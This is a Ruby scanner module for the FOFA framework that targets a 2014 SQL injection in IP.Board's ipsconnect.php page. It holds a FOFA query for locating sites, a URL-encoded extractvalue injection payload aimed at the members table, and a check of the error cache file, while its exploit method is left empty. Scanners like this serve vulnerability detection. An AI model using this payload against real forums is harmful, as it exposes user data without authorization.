require 'fofa_core'
#require 'payload/webshell'

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => 'IP.Board页面SQL注入漏洞',
      'Description' => %q{
IPB论坛全称为Invision Power Board（缩写为IPB或IP.Board），是世界上最著名的论坛程序之一，由PHP+MySQL架构。interface/ipsconnect/ipsconnect.php页面的没有正确处理id参数。导致网站出现sql error，漏洞会把sql error写入/cache/sql_error_latest.cgi。通过不断遍历读取数据，可以获取到相应敏感信息。
          },
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => 'IP.Board',
      'Homepage' => 'http://www.invisionpower.com/apps/board/',
      'References' =>
          [
              'http://seclists.org/fulldisclosure/2014/Nov/20',
          ],
      'DisclosureDate'=> '2014-11-11',
      'FofaQuery'=>'body="ipb.vars"',
      'ScanSteps' =>
          [
            {
              'Request'=>
                 {
                    method: 'POST',
                    uri: '/interface/ipsconnect/ipsconnect.php',
                    data: 'act=login&idType=id&id[]=-1&id[]=-1%29%20and%201%21%3D%22%27%22%20and%20extractvalue%281%2Cconcat%280x3a%2C%28SELECT%20COUNT%28%2A%29%20FROM%20members%29%29%29%23%27'
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 503
                    }
                  ]
              }
            },
            {
                'Request'=>
                    {
                        method: 'GET',
                        uri: '/cache/sql_error_latest.cgi',
                    },
                'ResponseTest'=> {
                    type: 'group',
                    operation: 'AND',
                    checks: [
                        {
                            type: 'item',
                            varibale: '$code',
                            operation: '==',
                            value: 200
                        },
                        {
                            type: 'item',
                            varibale: '$body',
                            operation: 'contains',
                            value: 'XPATH syntax error: \':'
                        }
                    ]
                }
            },
          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
    #
  end
end
